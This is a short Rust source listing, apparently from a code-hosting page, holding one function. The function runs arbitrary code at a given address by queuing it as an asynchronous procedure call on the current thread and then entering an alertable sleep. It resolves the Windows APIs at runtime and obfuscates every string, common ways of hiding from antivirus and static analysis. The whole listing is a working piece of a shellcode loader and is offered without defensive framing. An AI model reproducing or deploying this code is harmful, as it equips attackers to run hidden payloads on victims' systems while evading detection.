(p: usize)
| 1 | use obfstr::{obfbytes, obfstr}; |
| 2 | pub unsafe fn exec(p: usize) -> Result<(), String> { |
| 3 | use crate::utils::{load_library, get_proc_address}; |
| 4 | use std::mem::transmute; |
| 5 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?; |
| 6 | let p_queue_apc = get_proc_address(kernel32, obfbytes!(b"QueueUserAPC\0").as_slice())?; |
| 7 | let p_get_current_thread = get_proc_address(kernel32, obfbytes!(b"GetCurrentThread\0").as_slice())?; |
| 8 | let p_sleep_ex = get_proc_address(kernel32, obfbytes!(b"SleepEx\0").as_slice())?; |
| 9 | type QueueUserAPCFn = unsafe extern "system" fn(Option<unsafe extern "system" fn(usize)>, usize, usize) -> u32; |
| 10 | type GetCurrentThreadFn = unsafe extern "system" fn() -> isize; |
| 11 | type SleepExFn = unsafe extern "system" fn(u32, i32) -> u32; |
| 12 | let queue_user_apc: QueueUserAPCFn = transmute(p_queue_apc); |
| 13 | let get_current_thread: GetCurrentThreadFn = transmute(p_get_current_thread); |
| 14 | let sleep_ex: SleepExFn = transmute(p_sleep_ex); |
| 15 | let apc_fn: unsafe extern "system" fn(usize) = transmute(p); |
| 16 | let thread = get_current_thread(); |
| 17 | let ret = queue_user_apc(Some(apc_fn), thread as usize, 0); |
| 18 | if ret == 0 { |
| 19 | return Err(obfstr!("QueueUserAPC failed").to_string()); |
| 20 | } |
| 21 | sleep_ex(u32::MAX, 1); |
| 22 | Ok(()) |
| 23 | } |
no test coverage detected